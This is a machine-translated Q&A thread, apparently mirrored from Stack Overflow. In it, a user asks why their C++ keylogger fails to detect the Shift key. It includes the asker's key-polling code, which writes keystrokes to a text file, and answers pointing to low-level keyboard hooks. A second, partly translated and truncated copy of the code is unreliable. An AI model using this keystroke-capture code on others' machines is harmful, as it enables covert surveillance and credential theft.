C++ 检测换档是否被按下

C++ 检测换档是否被按下,c++,winapi,keylogger,C++,Winapi,Keylogger,嘿 我需要我的程序(一个DeV C++键盘记录器)来检测键“移位”是否被按下。然后当“SHIFT”被按下时,程序应该从小写字母变成大写字母……我使用一个名为“GeYKEYSTATE”的MSND函数(它“检索指定的虚拟键的状态”),但是它不起作用。我不是英国人,所以我可能犯了一些语法错误。 提前谢谢 #include <iostream> #include <Windows.h> #include <iomanip> #include <WinUser.h

我需要我的程序(一个DeV C++键盘记录器)来检测键“移位”是否被按下。然后当“SHIFT”被按下时,程序应该从小写字母变成大写字母……我使用一个名为“GeYKEYSTATE”的MSND函数(它“检索指定的虚拟键的状态”),但是它不起作用。我不是英国人,所以我可能犯了一些语法错误。 提前谢谢

#include <iostream>
#include <Windows.h>
#include <iomanip>
#include <WinUser.h>
//#include <ctype.h>

#pragma disable warning(4996);
#define DELAY 170

using namespace std;

void WriteToLog( char key)
{
    FILE *pLogFile;
    pLogFile = fopen("hooked.txt", "a+");
    fprintf(pLogFile, "%c", key);
    fclose(pLogFile);
}

int main()
{
    char i;
    bool MINUSCOLA = true; //inizializziamo "MINUSCOLA" come "true"

    /*verifico se il caps lock non era attivo prima dell'esecuzione del programma*/
    if ((GetKeyState(VK_CAPITAL) & 0X0001) != 0)
    {                                                           
        MINUSCOLA = false;                                              
    }
    else
    {
        MINUSCOLA = true;
    }

    for (i = 0; i <= 165;i++)
    {
        if (GetAsyncKeyState(i) == -32767)              //questo blocco di IF and ELSE nidificati viene eseguita SOLO se viene premuto un qualsiasi tasto
        {
            if ((GetAsyncKeyState(VK_CAPITAL))||((GetAsyncKeyState(i) == -32767) && ((GetKeyState(VK_SHIFT)&0x0001)!=0)))                   //se premo il bloc maiusc  e invertiamo il valore di "MINUSCOLA"
            {
                 MINUSCOLA=!(MINUSCOLA);
            }
            else
            {
                if (MINUSCOLA == true)                          //se non lo premo e "MINUSCOLA" è "true"  il programma stampa caratteri minuscoli       
                {                                                   
                    WriteToLog(i+32);
                }
                else                                            //altrimenti "MINUSCOLA" è necessariamente "false";quindi il programma stamperà lettere maiuscole
                {
                    WriteToLog(i);
                }
            }               
        }           
    }
    Sleep(DELAY);
    return 0;
}
#包括
#包括
#包括
#包括
//#包括
#pragma禁用警告(4996);
#定义延迟170
使用名称空间std;
无效写入日志(字符键)
{
文件*pLogFile;
pLogFile=fopen(“hooked.txt”,“a+”);
fprintf(pLogFile,“%c”,键);
fclose(pLogFile);
}
int main()
{
char i;
bool MINUSCOLA=true;//Izziamo“MINUSCOLA”变为“true”
/*验证是否锁定了非时代的attivo prima dell’esecuzione del programma*/
如果((GetKeyState(VK_CAPITAL)&0X0001)!=0)
{                                                           
错误=错误;
}
其他的
{
MINUSCOLA=真;
}

for(i=0;i
GeyKeyState
报告线程输入队列的状态,而不是全局状态。MSDN甚至会告诉您该做什么:

当线程从其消息队列中读取密钥消息时,此函数返回的密钥状态将发生变化。该状态不反映与硬件相关的中断级别状态。请使用
GetAsyncKeyState
函数检索该信息


如果您需要监视所有键盘输入,那么
WH\u KEYBOARD\u LL
是一个更好的选择。您永远不应该用一个小的
Sleep

这个问题与嗅探或数据包嗅探无关。请避免使用不相关的标记。查找
setWindowshookx(WH\u KEYBOARD\u LL,hookfunction,NULL,NULL)
OS会让您知道按键的时间。
GetKeyState(VK_SHIFT)
会告诉您是否按下了SHIFT键。why
GetKeyState
无法正常工作:“当线程从其消息队列中读取按键消息时,此函数返回的按键状态会发生变化。”你不是,所以你不应该有任何期望。无论如何,这个问题每天都会被问上一百万次。做一些研究。这只解决了简单的部分:监视键盘输入。它没有解决困难的部分:将键盘输入转换为字符。@I不可测,但问题中的示例代码只处理虚拟键代码对于基本ASCII,这就足够了。问题在于检测移位键,而不是记录完美的Unicode输出。您只需输入ASCII字符就可以得到死键,例如,
^
后跟
a
(取决于输入区域设置)将形成字符
。如果你建议使用低级键盘挂钩,事先知道这是一个更难的问题是很有帮助的。如果你看一下OP的代码,你就会知道,这个键盘记录器永远看不到曙光,所以节省他们一些时间尝试。